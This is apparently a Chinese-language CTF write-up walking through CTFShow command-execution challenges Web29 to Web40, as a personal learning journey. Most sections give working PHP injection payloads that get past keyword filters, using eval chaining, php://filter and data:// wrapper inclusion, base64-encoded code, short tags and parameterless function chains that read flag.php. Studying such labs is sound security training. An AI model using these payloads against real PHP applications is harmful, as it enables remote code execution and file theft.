第一次接触CTFShow的命令执行题目时,我完全是个懵懂的新手。面对Web29简单的过滤规则,我甚至不知道从哪里下手。但随着一道道题目的攻克,我逐渐建立起一套完整的解题思维框架。这篇文章将记录我从Web29到Web40的完整思考过程,而不仅仅是最终的payload。
Web29的过滤规则非常简单,只过滤了"flag"这个关键词。我的第一反应是尝试直接读取flag.php:
php复制?c=system('cat flag.php');
当然,这被拦截了。但很快我意识到可以使用通配符和替代命令:
bash复制?c=system('tac f*');
这里学到两个关键点:
Web30增加了对system、php等关键词的过滤,这迫使我寻找其他命令执行函数:
| 函数名 | 特点 | 使用示例 |
|---|---|---|
| passthru | 直接输出结果 | passthru('tac f*') |
| shell_exec | 返回完整输出 | echo shell_exec('tac f*') |
| 反引号 | PHP执行运算符 | echo `tac f*` |
Web31的过滤更加严格,包括空格、分号、括号等。这时我学会了:
%09(制表符)代替空格&拼接参数实现多语句执行eval进行二次注入:php复制?c=eval($_GET[cmd]);&cmd=system("tac f*");
当Web32过滤了反斜杠、echo、分号和括号时,传统的命令执行方式几乎全部失效。这时我发现了文件包含的新思路:
php复制?c=include$_GET[cmd]?>&cmd=php://filter/read=convert.base64-encode/resource=flag.php
这个阶段的关键收获是:
?>闭合PHP标签Web35引入了对<和=的过滤,迫使我学习Base64编码传输:
php复制?c=include$_GET[cmd]?>&cmd=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
解码后实际内容:
php复制<?php system("tac flag.php");?>
Web36甚至过滤了数字,这让我意识到字符编码的多样性:
Web37开始使用文件包含而非直接eval,这开启了新的攻击面:
php复制?c=data://text/plain,<?=system("tac f*");?>
这里的关键突破是:
<?=的利用Web38过滤了"php"和"file",迫使我深入理解PHP解析机制:
php复制?c=data://text/plain,<?=system('tac f*');?>
注意:短标签
<?=不需要完整的php关键字,这在严格过滤环境下特别有用
Web40几乎过滤了所有特殊字符,这是最艰难的一关。经过大量研究,我发现了无参数函数调用链的技巧:
php复制?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
这条语句的精妙之处在于:
localeconv()返回本地化信息数组pos()或current()获取数组第一个元素scandir()列出目录文件array_reverse()反转数组顺序next()获取第二个文件(通常是flag.php)highlight_file()输出文件内容其他可用函数组合:
php复制?c=print_r(show_source(array_rand(array_flip(scandir(current(localeconv()))))));
这个阶段的突破让我真正理解了PHP灵活的函数调用方式,以及如何在不使用任何参数的情况下实现文件读取。
通过这12道题目,我总结出一套系统的解题思路:
遇到新题目时,我现在的思考流程是:
从最初的茫然无措到现在的系统思考,这12道题目带给我的不仅是技术上的提升,更重要的是培养了一种突破限制的思维方式。在CTF的世界里,没有绝对的安全,只有不断创新的攻防博弈。